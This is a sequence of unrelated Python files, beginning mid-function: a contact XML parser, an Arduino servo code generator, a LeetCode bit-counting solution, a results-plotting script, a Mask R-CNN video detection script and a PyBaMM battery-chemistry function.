		contact.__id__ = int(root.getAttribute('id'))

	xml_names = ['contact_address', 'contact_instant_messenger', 'contact_note',
		'contact_other', 'contact_uri', 'contact_setting', 'contact_email',
		'contact_telephone_number']

	for xml_name in xml_names:
		_add_children_objects(contact, root, xml_name)

	return contact

def _handle_primary(c_sub, element):
	primary = get_child_element(element, 'primary')
	if (primary is not None):
		c_sub.primary = True

def _handle_speed_dial(c_sub, element):
	speed_dials = get_child_elements(element, 'speed_dial')
	for sd in speed_dials:
		text = get_child_node_text(sd)
		if (text is not None and text != ""):
			c_sub.speed_dial.append(int(text))

def _handle_group_membership(contact_xml, contact):
	groups = get_child_elements(contact_xml, 'contact_group')
	for group_xml in groups:
		group = ContactGroup()
		if group_xml.hasAttribute('id'):
			group.__id__ = int(group_xml.getAttribute('id'))
		text = get_child_node_text(group_xml)
		if (text is not None and text != ""):
			group.__dict__['group_name'] = text
		else:
			text = get_child_node_text(get_child_element(group_xml, 'group_name'))
			if (text is not None and text != ""):
				group.__dict__['group_name'] = text
		contact.contact_group.append(group)

def parse(data, log):
	"""
	Parse an XML document into Contact objects, and related sub-objects.

	@param data: An XML document.
	@type data: str
	@return: A list of the parsed contacts (xml_models.Contact).
	@rtype: list
	"""

	contact_list = []
	doc = xml.dom.minidom.parseString(data.decode("utf-8").encode("ascii", "replace"))
	contact_xmls = xpath.Evaluate('//contact', doc.documentElement)
	for contact_xml in contact_xmls:
		params = _get_column_values_for_table('contacts', contact_xml)[1]
		contact = _build_serializers_from_xml(contact_xml, log)
		contact.__dict__.update(params)
		_handle_group_membership(contact_xml, contact)
		contact_list.append(contact)

	return contact_list


from appendages.component_list import ComponentList

class Servo:
    def __init__(self, label, pin, servo_type):
        self.label = label
        self.pin = pin
        self.servo_type = servo_type

class ServoList(ComponentList):
    TIER = 1

    def __init__(self):
        self.list_ = []

    def add(self, json_item, device_dict, device_type):
        servo = Servo(json_item['label'], json_item['pin'], json_item['servo_type'])
        self.list_.append(servo)
        return servo

    def get_includes(self):
        return '#include "Servo.h"\n'

    def get_pins(self):
        rv = ""
        for actuator in self.list_:
            rv += "const char {0:s}_pin = {1:d};\n".format(actuator.label, actuator.pin)
        rv += "\n"
        return rv

    def get_constructors(self):
        rv = ""
        for i, servo in enumerate(self.list_):
            rv += "const char {0:s}_index = {1:d};\n".format(servo.label, i)

        rv += "char servo_pins[{0:d}] = {{\n".format(len(self.list_))
        for servo in self.list_:
            rv += ("\t{0:s}_pin,\n").format(servo.label)
        rv = rv[:-2] + "\n};\n"

        rv += ("Servo servos[{0:d}];\n").format(len(self.list_))
        return rv

    def get_setup(self):
        rv = ""
        for servo in self.list_:
            rv += "\tservos[{0:s}_index].attach({0:s}_pin);\n".format(servo.label)
        rv += "\n"

        return rv

    def get_commands(self):
        return "\tkSetServo,\n\tkDetachServo,\n"

    def get_command_attaches(self):
        rv = "\tcmdMessenger.attach(kSetServo, setServo);\n"
        rv += "\tcmdMessenger.attach(kDetachServo, detachServo);\n"
        return rv

    def get_command_functions(self):
        rv = "void setServo() {\n"
        rv += "\tint indexNum = cmdMessenger.readBinArg<int>();\n"
        rv += "\tif(!cmdMessenger.isArgOk() || indexNum < 0 || indexNum > {0:d}) {{\n".format(len(self.list_))
        rv += "\t\tcmdMessenger.sendBinCmd(kError, kSetServo);\n"
        rv += "\t\treturn;\n"
        rv += "\t}\n"
        rv += "\tint value = cmdMessenger.readBinArg<int>();\n"
        rv += "\tif(!cmdMessenger.isArgOk()){\n"
        rv += "\t\tcmdMessenger.sendBinCmd(kError, kSetServo);\n"
        rv += "\t\treturn;\n"
        rv += "\t}\n"
        rv += "\tif(!servos[indexNum].attached()){\n"
        rv += "\t\tservos[indexNum].attach(servo_pins[indexNum]);\n"
        rv += "\t}\n"
        rv += "\tservos[indexNum].write(value);\n"
        rv += "\tcmdMessenger.sendBinCmd(kAcknowledge, kSetServo);\n"
        rv += "}\n\n"

        rv += "void detachServo() {\n"
        rv += "\tint indexNum = cmdMessenger.readBinArg<int>();\n"
        rv += "\tif(!cmdMessenger.isArgOk() || indexNum < 0 || indexNum > {0:d}) {{\n".format(len(self.list_))
        rv += "\t\tcmdMessenger.sendBinCmd(kError, kDetachServo);\n"
        rv += "\t\treturn;\n"
        rv += "\t}\n"
        rv += "\tservos[indexNum].detach();\n"
        rv += "\tcmdMessenger.sendBinCmd(kAcknowledge, kDetachServo);\n"
        rv += "}\n\n"
        return rv

    def get_core_values(self):
        for i, servo in enumerate(self.list_):
            config = {}
            config['index'] = i
            config['label'] = servo.label
            config['type'] = "Servo"
            config['servo_type'] = servo.servo_type
            yield config


"""
Given a non negative integer number num. For every numbers i
in the range 0 ≤ i ≤ num calculate the number of 1's in their
binary representation and return them as an array.
Follow up:
It is very easy to come up with a solution with run time
O(n*sizeof(integer)). But can you do it in linear time O(n)
/possibly in a single pass?
Space complexity should be O(n).
Can you do it like a boss? Do it without using any builtin function
like __builtin_popcount in c++ or in any other language.
"""

from typing import *

class Solution:
    def countBits(self, num: int) -> List[int]:
        counts = []
        i = 0
        while i <= num:
            count = 0
            j = i
            while j != 0:
                if j & 1:
                    count += 1
                j >>= 1
            counts.append(count)
            i += 1
        return counts

if __name__ == "__main__":
    s = Solution()
    ex_0 = s.countBits(2)
    if ex_0 != [0,1,1]:
        print("error", ex_0)
    ex_1 = s.countBits(5)
    if ex_1 != [0,1,1,2,1,2]:
        print("error", ex_1)
    pass


# -*- coding: utf-8 -*-

# __author__ = 'Shixin'

import argparse

from matplotlib import pyplot as plt

from dp_rp_process import load_file
from dp_rp_process import parse_groupby_time_distribution, parse_unique_time_distribution
from dp_rp_process import parse_groupby_unique_time_distribution, parse_temporal_entropy_distribution
from dp_rp_process import parse_text_result, parse_hourly_time_gap_distribution
from dp_rp_process import parse_time_distribution, parse_unique_cdf_time_distribution
from dp_rp_process import parse_transaction_distribution, parse_time_gap_distribution

def main_process(result_dict, need_avg):
    process_properties = result_dict['process_properties']

    # ------------------------------------------------------------------------------------------------------------------
    # ------------------------Figure Drawing----------------------------------------------------------------------------
    if process_properties.get('time_distribution', None):
        parse_time_distribution(result_dict, need_avg)

    if process_properties.get('unique_cdf_time_distribution', None):
        parse_unique_cdf_time_distribution(result_dict, need_avg)

    if process_properties.get('groupby_time_distribution_columns', None):
        parse_groupby_time_distribution(result_dict, need_avg)

    if process_properties.get('unique_time_distribution', None):
        parse_unique_time_distribution(result_dict, need_avg)

    if process_properties.get('transaction_distribution', None):
        parse_transaction_distribution(result_dict, need_avg)

    if process_properties.get('time_gap_distribution', None):
        parse_time_gap_distribution(result_dict, need_avg)

    if process_properties.get('hourly_time_gap_distribution', None):
        parse_hourly_time_gap_distribution(result_dict, need_avg)

    if process_properties.get('temporal_entropy_distribution', None):
        parse_temporal_entropy_distribution(result_dict, need_avg)

    if process_properties.get('groupby_unique_time_distribution', None):
        parse_groupby_unique_time_distribution(result_dict, need_avg)

    parse_text_result(result_dict)

    plt.show()

if __name__ == '__main__':

    # ------------------------------------------------------------------------------------------------------------------
    # ------------------------Parse Command Line Parameters-------------------------------------------------------------
    parser = argparse.ArgumentParser()

    parser.add_argument("--result_path",
                        required=True,
                        help="get input from following path")

    group = parser.add_argument_group('Date Range')

    group.add_argument("--start_date",
                       required=False,
                       default=None,
                       help="starting date")

    group.add_argument("--end_date",
                       required=False,
                       help="end date")

    group.add_argument("--day_type",
                       required=False,
                       default=0,
                       help="0: all day, 1:weekday, 2:weekend")

    args = vars(parser.parse_args())
    input_path = args['result_path']
    start_date_str = args['start_date']
    end_date_str = args['end_date']
    day_type = int(args['day_type'])

    if not (start_date_str and end_date_str) and (start_date_str or end_date_str):
        raise ValueError('Start date and end date must be specified at the same time.')

    # ------------------------------------------------------------------------------------------------------------------
    # ------------------------Load Data---------------------------------------------------------------------------------
    result_dict = load_file(input_path, start_date_str, end_date_str, day_type)

    # ------------------------------------------------------------------------------------------------------------------
    # ------------------------Main Process------------------------------------------------------------------------------
    need_avg = start_date_str and end_date_str
    main_process(result_dict, need_avg)


import argparse
import json
import os
import sys
import time

import numpy as np
import cv2
import glob

# Root directory of the project
from mrcnn.visualize import random_colors, apply_mask

ROOT_DIR = os.path.abspath("../")

# Import Mask RCNN
sys.path.append(ROOT_DIR)  # To find local version of the library
from mrcnn import utils
import mrcnn.model as modellib

# Import COCO config
sys.path.append(os.path.join(ROOT_DIR, "samples/coco/"))  # To find local version
import coco

# %matplotlib inline

# Directory to save logs and trained model
MODEL_DIR = os.path.join(ROOT_DIR, "logs")

# Local path to trained weights file
COCO_MODEL_PATH = os.path.join(ROOT_DIR, "mask_rcnn_coco.h5")
# Download COCO trained weights from Releases if needed
if not os.path.exists(COCO_MODEL_PATH):
    utils.download_trained_weights(COCO_MODEL_PATH)

# Directory of images to run detection on
IMAGE_DIR = os.path.join(ROOT_DIR, "images")

class InferenceConfig(coco.CocoConfig):
    # Set batch size to 1 since we'll be running inference on
    # one image at a time. Batch size = GPU_COUNT * IMAGES_PER_GPU
    GPU_COUNT = 1
    IMAGES_PER_GPU = 1

config = InferenceConfig()
config.display()

# Create model object in inference mode.
model = modellib.MaskRCNN(mode="inference", model_dir=MODEL_DIR, config=config)

# Load weights trained on MS-COCO
model.load_weights(COCO_MODEL_PATH, by_name=True)

# COCO Class names
# Index of the class in the list is its ID. For example, to get ID of
# the teddy bear class, use: class_names.index('teddy bear')
class_names = ['BG', 'person', 'bicycle', 'car', 'motorcycle', 'airplane',
               'bus', 'train', 'truck', 'boat', 'traffic light',
               'fire hydrant', 'stop sign', 'parking meter', 'bench', 'bird',
               'cat', 'dog', 'horse', 'sheep', 'cow', 'elephant', 'bear',
               'zebra', 'giraffe', 'backpack', 'umbrella', 'handbag', 'tie',
               'suitcase', 'frisbee', 'skis', 'snowboard', 'sports ball',
               'kite', 'baseball bat', 'baseball glove', 'skateboard',
               'surfboard', 'tennis racket', 'bottle', 'wine glass', 'cup',
               'fork', 'knife', 'spoon', 'bowl', 'banana', 'apple',
               'sandwich', 'orange', 'broccoli', 'carrot', 'hot dog', 'pizza',
               'donut', 'cake', 'chair', 'couch', 'potted plant', 'bed',
               'dining table', 'toilet', 'tv', 'laptop', 'mouse', 'remote',
               'keyboard', 'cell phone', 'microwave', 'oven', 'toaster',
               'sink', 'refrigerator', 'book', 'clock', 'vase', 'scissors',
               'teddy bear', 'hair drier', 'toothbrush']

def display_instances(image, boxes, masks, ids, names, scores):
    """
        take the image and results and apply the mask, box, and Label
    """
    n_instances = boxes.shape[0]
    colors = random_colors(n_instances)
    resultsForJSON = []

    if not n_instances:
        print('NO INSTANCES TO DISPLAY')
    else:
        assert boxes.shape[0] == masks.shape[-1] == ids.shape[0]

    for i, color in enumerate(colors):
        if not np.any(boxes[i]):
            continue

        y1, x1, y2, x2 = boxes[i]
        label = names[ids[i]]

        score = scores[i] if scores is not None else None

        caption = '{} {:.2f}'.format(label, score) if score else label

        mask = masks[:, :, i]

        # image = apply_mask(image, mask, color)
        image = cv2.rectangle(image, (x1, y1), (x2, y2), color, 2)
        image = cv2.putText(
            image, caption, (x1, y1), cv2.FONT_HERSHEY_COMPLEX, 0.7, color, 2
        )

        resultsForJSON.append(
            {"label": label, "confidence": float('%.2f' % score), "topleft": {"x": int(x1), "y": int(y1)},
             "bottomright": {"x": int(x2), "y": int(y2)}})

    return image, json.dumps(resultsForJSON)

def saveLabels(elapsed, json):
    if not os.path.exists(json_save_dir):
        os.makedirs(json_save_dir)
    with open(json_save_dir + '/frame' + str(elapsed - 1) + '.json', 'w+') as f:
        f.write(json)

def saveTime(endTime):
    data = {}
    data['time'] = []
    data['time'].append({'time': endTime})

    if not os.path.exists(time_path):
        os.makedirs(time_path)
    with open(time_path + '/time' + '.json', 'w+') as f:
        json.dump(data['time'], f)

def make_video(outvid, images=None, fps=30, size=None,
               is_color=True, format="FMP4"):
    """
    Create a video from a list of images.

    @param      outvid      output video
    @param      images      list of images to use in the video
    @param      fps         frame per second
    @param      size        size of each frame
    @param      is_color    color
    @param      format      see http://www.fourcc.org/codecs.php
    @return                 see http://opencv-python-tutroals.readthedocs.org/en/latest/py_tutorials/py_gui/py_video_display/py_video_display.html

    The function relies on http://opencv-python-tutroals.readthedocs.org/en/latest/.
    By default, the video will have the size of the first image.
    It will resize every image to this size before adding them to the video.
    """

    fourcc = cv2.VideoWriter_fourcc(*format)
    vid = None
    for image in images:
        if not os.path.exists(image):
            raise FileNotFoundError(image)
        img = cv2.imread(image)
        if vid is None:
            if size is None:
                size = img.shape[1], img.shape[0]
            vid = cv2.VideoWriter(outvid, fourcc, float(fps), size, is_color)
        if size[0] != img.shape[1] and size[1] != img.shape[0]:
            img = cv2.resize(img, size)
        vid.write(img)
    vid.release()
    return vid

def parse_arguments():
    parser = argparse.ArgumentParser()
    parser.add_argument("video_name", help="Set video name", type=str)
    parser.add_argument("format", help="Set video format", type=str)
    args = parser.parse_args()
    return args

if __name__ == "__main__":
    args = parse_arguments()
    video_name = args.__dict__['video_name']
    format = args.__dict__['format']

    video_save_dir = '/Users/filipdabrowski/Documents/git/Comparer/mask_RCNN/' + video_name
    video_dir = '/Users/filipdabrowski/Documents/video/' + video_name
    json_save_dir = video_save_dir + '/boxes'
    time_path = video_save_dir + '/time'

    batch_size = 1
    capture = cv2.VideoCapture(video_dir + '.' + format)
    try:
        if not os.path.exists(video_save_dir):
            os.makedirs(video_save_dir)
    except OSError:
        print('Error: Creating directory of data')
    frames = []
    frame_count = 0
    # these 2 lines can be removed if you dont have a 1080p camera.
    capture.set(cv2.CAP_PROP_FRAME_WIDTH, int(capture.get(cv2.CAP_PROP_FRAME_WIDTH)))
    capture.set(cv2.CAP_PROP_FRAME_HEIGHT, int(capture.get(cv2.CAP_PROP_FRAME_HEIGHT)))
    fps = capture.get(cv2.CAP_PROP_FPS)

    start = time.time()
    while True:
        ret, frame = capture.read()
        # Bail out when the video file ends
        if not ret:
            break

        # Save each frame of the video to a list
        frame_count += 1
        frames.append(frame)
        print('frame_count :{0}'.format(frame_count))
        if len(frames) == batch_size:
            results = model.detect(frames, verbose=0)
            print('Predicted')
            for i, item in enumerate(zip(frames, results)):
                frame = item[0]
                r = item[1]
                frame, jsonContent = display_instances(
                    frame, r['rois'], r['masks'], r['class_ids'], class_names, r['scores']
                )
                saveLabels(frame_count, jsonContent)
                name = 'frame{0}.jpg'.format(frame_count + i - batch_size)
                name = os.path.join(video_save_dir, name)
                cv2.imwrite(name, frame)
                print('writing to file:{0}'.format(name))
            # Clear the frames array to start the next batch
            frames = []

    capture.release()
    endTime = time.time() - start
    saveTime(endTime)
    # Directory of images to run detection on

    images = list(glob.iglob(os.path.join(video_save_dir, '*.*')))
    # Sort the images by integer index
    images = sorted(images, key=lambda x: float(os.path.split(x)[1][:-3]))

    outvid = os.path.join('', "out.mp4")
    make_video(outvid, images, fps=fps)


from pybamm import exp, constants, Parameter

def lico2_electrolyte_exchange_current_density_Dualfoil1998(c_e, c_s_surf, T):
    """
    Exchange-current density for Butler-Volmer reactions between lico2 and LiPF6 in
    EC:DMC.

    References
    ----------
    .. [2] http://www.cchem.berkeley.edu/jsngrp/fortran.html

    Parameters
    ----------
    c_e : :class:`pybamm.Symbol`
        Electrolyte concentration [mol.m-3]
    c_s_surf : :class:`pybamm.Symbol`
        Particle concentration [mol.m-3]
    T : :class:`pybamm.Symbol`
        Temperature [K]

    Returns
    -------
    :class:`pybamm.Symbol`
        Exchange-current density [A.m-2]
    """
    m_ref = 1 * 10 ** (-11) * constants.F  # need to match the unit from m/s
    # (A/m2)(mol/m3)**1.5 - includes ref concentrations
    E_r = 5000
    arrhenius = exp(E_r / constants.R * (1 / 298.15 - 1 / T))

    c_p_max = Parameter("Maximum concentration in positive electrode [mol.m-3]")

    return (
        m_ref * arrhenius * c_e ** 0.5 * c_s_surf ** 0.5 * (c_p_max - c_s_surf) ** 0.5
    )